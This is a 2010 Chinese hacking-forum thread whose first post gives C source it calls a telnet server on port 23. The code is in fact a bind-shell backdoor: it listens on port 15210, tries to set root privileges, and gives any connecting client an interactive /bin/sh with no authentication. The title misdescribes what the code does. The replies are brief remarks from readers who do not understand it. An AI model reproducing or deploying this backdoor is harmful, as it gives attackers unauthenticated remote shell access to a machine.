爱黑武论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

查看: 3046|回复: 11

telnet的server,监听23端口源代码

[复制链接]
发表于 2010-1-31 17:15 | 显示全部楼层 |阅读模式

立即注册,加入爱黑武论坛的大家庭!爱黑武,爱上搞机生活!

您需要 登录 才可以下载或查看,没有账号?注册

x
  1. #include <signal.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <sys/types.h>
  6. #include <sys/socket.h>
  7. #include <errno.h>
  8. #include <unistd.h>
  9. #include <netinet/in.h>
  10. #include <limits.h>
  11. #include <netdb.h>
  12. #include <arpa/inet.h>
  13. #define MAX_CLIENTS 5 /* Max client num*/
  14. #define PORT_NUM15210 /* Port*/
  15. voidget_connection(socket_type, port, listener)
  16. int socket_type;
  17. int port;
  18. int *listener;
  19. {
  20. struct sockaddr_inaddress;
  21. struct sockaddr_inacc;
  22. int listening_socket;
  23. int connected_socket = -1;
  24. int new_process;
  25. int reuse_addr = 1;
  26. int acclen=sizeof(acc);
  27. memset((char *) &address, 0, sizeof(address));
  28. address.sin_family = AF_INET;
  29. address.sin_port = htons(port);
  30. address.sin_addr.s_addr = htonl(INADDR_ANY);
  31. listening_socket = socket(AF_INET, socket_type, 0);
  32. if (listening_socket < 0) {
  33. perror("socket");
  34. exit(1);
  35. }
  36. if (listener != NULL) *listener = listening_socket;
  37. setsockopt(listening_socket,SOL_SOCKET,SO_REUSEADDR,
  38. (void *)&reuse_addr,sizeof(reuse_addr));
  39. if (bind(listening_socket,(struct sockaddr *)&address,sizeof(address))<0
  40. ){
  41. perror("bind");
  42. close(listening_socket);
  43. exit(1);
  44. }
  45. if (socket_type == SOCK_STREAM){
  46. if (listen(listening_socket, MAX_CLIENTS)==-1){
  47. perror("listen");
  48. exit(1);
  49. }
  50. }
  51. }
  52. voidsock_puts(sockfd, str)
  53. int sockfd;
  54. char*str;
  55. {
  56. charx[2000],*buf;
  57. size_tbytes_sent = 0;
  58. int this_write,count;
  59. sprintf(x,"r%s",str);
  60. count=strlen(x);
  61. buf=x;
  62. while (bytes_sent < count) {
  63. do
  64. this_write = write(sockfd, buf, count - bytes_sent);
  65. while ( (this_write < 0) && (errno == EINTR) );
  66. if (this_write <= 0) return;
  67. bytes_sent += this_write;
  68. buf += this_write;
  69. }
  70. }
  71. int main(argc, argv)
  72. int argc;
  73. char*argv[];
  74. {
  75. voidget_connection();
  76. voidsock_puts();
  77. int i,sz;
  78. int sock;
  79. static intlistensock = -1;
  80. struct sockaddr_in sad;
  81. setuid(0);
  82. setgid(0);
  83. for (;;){
  84. get_connection(SOCK_STREAM, PORT_NUM, &listensock);
  85. sz=sizeof(struct sockaddr_in);
  86. for (;;){
  87. if ((sock=accept(listensock,(void *)&sad,&sz))==-1){
  88. perror("Accept");
  89. exit(1);
  90. }
  91. if (fork()==0){
  92. sock_puts(sock,"The ShadowPenguin Systems Inc. TCP Shell 1.00 ./n");
  93. for (i=0;i<3;i++){
  94. close(i); dup2(sock,i);
  95. }
  96. execl("/bin/sh","sh","-i",0);
  97. close(sock);
  98. break;
  99. }
  100. }
  101. }
  102. }
复制代码
发表于 2010-1-31 17:50 | 显示全部楼层
沙发,[s:72][s:72]
发表于 2010-1-31 19:37 | 显示全部楼层
板凳。现在还看不懂啊[s:59]
发表于 2010-1-31 19:51 | 显示全部楼层
真的看不懂

顶帖,学习中...............
发表于 2010-1-31 21:23 | 显示全部楼层
向老大致敬[s:72][s:72]
发表于 2010-1-31 23:22 | 显示全部楼层
什么阿?一点也不懂...
发表于 2010-2-1 00:04 | 显示全部楼层
[s:57]眼花缭乱
发表于 2010-2-1 08:28 | 显示全部楼层
晕落~~~~~~~~~~~~
发表于 2010-2-2 23:47 | 显示全部楼层
哈哈,不懂!
发表于 2010-2-3 00:14 | 显示全部楼层
学习中,不过看起来很烦人...
 Hello,黑武的好机友!回复想偷个懒?点这里: 
您需要登录后才可以回帖 登录 | 注册

本版积分规则

关闭

站长推荐上一条 /1 下一条

QQ|小黑屋|Archiver|手机版|爱黑武论坛 ( 京ICP备2023028323号 | 京公网安备11011202000270号 )

GMT+8, 2024-11-16 07:32 , Processed in 0.046818 second(s), 20 queries .

Powered by Discuz! X3.4

Copyright © 2001-2024, ihei5.com

快速回复 返回顶部 返回列表